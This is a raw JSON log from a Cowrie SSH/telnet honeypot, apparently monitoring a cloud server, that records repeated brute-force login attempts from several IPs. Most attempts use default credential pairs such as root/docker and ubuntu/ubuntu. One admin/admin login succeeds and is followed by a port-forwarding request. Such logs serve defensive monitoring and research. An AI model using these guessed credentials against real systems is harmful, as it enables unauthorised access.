{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:51.435563Z","src_ip":"188.32.210.218","session":"8ccf225b508a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":40766,"dst_ip":"159.203.135.109","dst_port":22,"session":"20de59472e79","protocol":"ssh","message":"New connection: 188.32.210.218:40766 (159.203.135.109:22) [session: 20de59472e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:52.578483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:52.583644Z","src_ip":"188.32.210.218","session":"20de59472e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:52.737268Z","src_ip":"188.32.210.218","session":"20de59472e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:53.133145Z","src_ip":"188.32.210.218","session":"20de59472e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:54.265962Z","src_ip":"188.32.210.218","session":"20de59472e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":58800,"dst_ip":"159.203.135.109","dst_port":22,"session":"983fde2bcaad","protocol":"ssh","message":"New connection: 188.32.210.218:58800 (159.203.135.109:22) [session: 983fde2bcaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:54.405005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:54.411338Z","src_ip":"188.32.210.218","session":"983fde2bcaad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:54.541083Z","src_ip":"188.32.210.218","session":"983fde2bcaad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:54.946193Z","src_ip":"188.32.210.218","session":"983fde2bcaad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:56.085398Z","src_ip":"188.32.210.218","session":"983fde2bcaad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":58816,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca0c0b913f20","protocol":"ssh","message":"New connection: 188.32.210.218:58816 (159.203.135.109:22) [session: ca0c0b913f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:56.226341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:56.231546Z","src_ip":"188.32.210.218","session":"ca0c0b913f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:56.372672Z","src_ip":"188.32.210.218","session":"ca0c0b913f20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:56.785390Z","src_ip":"188.32.210.218","session":"ca0c0b913f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36594,"dst_ip":"159.203.135.109","dst_port":23,"session":"973855f436a7","protocol":"telnet","message":"New connection: 128.199.8.54:36594 (159.203.135.109:23) [session: 973855f436a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:57.917406Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:57.928998Z","src_ip":"188.32.210.218","session":"ca0c0b913f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":58828,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e50dd26b93c","protocol":"ssh","message":"New connection: 188.32.210.218:58828 (159.203.135.109:22) [session: 6e50dd26b93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:58.039565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:58.045402Z","src_ip":"188.32.210.218","session":"6e50dd26b93c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:58.169552Z","src_ip":"188.32.210.218","session":"6e50dd26b93c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:58.588313Z","src_ip":"188.32.210.218","session":"6e50dd26b93c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:59.715011Z","src_ip":"188.32.210.218","session":"6e50dd26b93c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.53790855407715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:04.402766Z","src_ip":"128.199.8.54","session":"4c568ec7943f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.23506259918213,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:05.008343Z","src_ip":"128.199.8.54","session":"ae78e88c120e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.993741512298584,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:05.127067Z","src_ip":"128.199.8.54","session":"5a740feeb1c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37666,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8dec3fa0cc2","protocol":"telnet","message":"New connection: 128.199.8.54:37666 (159.203.135.109:23) [session: c8dec3fa0cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:10.216566Z"}
{"eventid":"cowrie.session.closed","duration":33.000518798828125,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:10.802161Z","src_ip":"128.199.8.54","session":"5c29e93f05f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":59830,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddcc46dad3c8","protocol":"telnet","message":"New connection: 208.92.193.123:59830 (10.17.0.5:23) [session: ddcc46dad3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:20.411955Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60814,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff3b5629dab1","protocol":"telnet","message":"New connection: 128.199.8.54:60814 (159.203.135.109:23) [session: ff3b5629dab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:22.324378Z"}
{"eventid":"cowrie.session.closed","duration":32.73220682144165,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:30.649497Z","src_ip":"128.199.8.54","session":"973855f436a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50194,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8c724cf2349","protocol":"telnet","message":"New connection: 128.199.8.54:50194 (159.203.135.109:23) [session: e8c724cf2349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:31.746716Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54846,"dst_ip":"159.203.135.109","dst_port":23,"session":"c494f0cd71f4","protocol":"telnet","message":"New connection: 128.199.8.54:54846 (159.203.135.109:23) [session: c494f0cd71f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:35.341690Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36924,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c85bd3ed70","protocol":"ssh","message":"New connection: 87.251.64.176:36924 (10.17.0.5:22) [session: f2c85bd3ed70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:39.395169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:39.401294Z","src_ip":"87.251.64.176","session":"f2c85bd3ed70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:39.498694Z","src_ip":"87.251.64.176","session":"f2c85bd3ed70","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:39.794844Z","src_ip":"87.251.64.176","session":"f2c85bd3ed70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:39.894572Z","session":"f2c85bd3ed70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:39.993141Z","src_ip":"87.251.64.176","session":"f2c85bd3ed70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:40.097154Z","src_ip":"87.251.64.176","session":"f2c85bd3ed70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40902,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb0541a3a3ac","protocol":"telnet","message":"New connection: 128.199.8.54:40902 (159.203.135.109:23) [session: eb0541a3a3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:41.713212Z"}
{"eventid":"cowrie.session.closed","duration":33.99943399429321,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:44.215850Z","src_ip":"128.199.8.54","session":"c8dec3fa0cc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.637836456298828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:52.049684Z","src_ip":"208.92.193.123","session":"ddcc46dad3c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39612,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a9aecd6d4c7","protocol":"telnet","message":"New connection: 128.199.8.54:39612 (159.203.135.109:23) [session: 9a9aecd6d4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:55.870962Z"}
{"eventid":"cowrie.session.closed","duration":34.00044631958008,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:56.324676Z","src_ip":"128.199.8.54","session":"ff3b5629dab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37504,"dst_ip":"159.203.135.109","dst_port":22,"session":"2da69bd8389f","protocol":"ssh","message":"New connection: 80.94.92.186:37504 (159.203.135.109:22) [session: 2da69bd8389f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:56.710700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:56.976727Z","src_ip":"80.94.92.186","session":"2da69bd8389f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:56.981026Z","src_ip":"80.94.92.186","session":"2da69bd8389f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:58.103690Z","src_ip":"80.94.92.186","session":"2da69bd8389f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:00:59.391305Z","src_ip":"80.94.92.186","session":"2da69bd8389f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":51008,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdfde49c84f8","protocol":"telnet","message":"New connection: 45.148.121.166:51008 (159.203.135.109:23) [session: fdfde49c84f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:00.227636Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":51018,"dst_ip":"159.203.135.109","dst_port":23,"session":"a213cc6f35a2","protocol":"telnet","message":"New connection: 45.148.121.166:51018 (159.203.135.109:23) [session: a213cc6f35a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:02.933225Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f395cff108d4","protocol":"telnet","message":"New connection: 128.199.8.54:55962 (159.203.135.109:23) [session: f395cff108d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:04.313373Z"}
{"eventid":"cowrie.session.closed","duration":33.43227529525757,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:05.178879Z","src_ip":"128.199.8.54","session":"e8c724cf2349","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.39480471611023,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:10.736399Z","src_ip":"128.199.8.54","session":"c494f0cd71f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.800729513168335,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:16.513793Z","src_ip":"128.199.8.54","session":"eb0541a3a3ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59536,"dst_ip":"159.203.135.109","dst_port":23,"session":"30466df3ac9a","protocol":"telnet","message":"New connection: 128.199.8.54:59536 (159.203.135.109:23) [session: 30466df3ac9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:01:20.298314Z"}
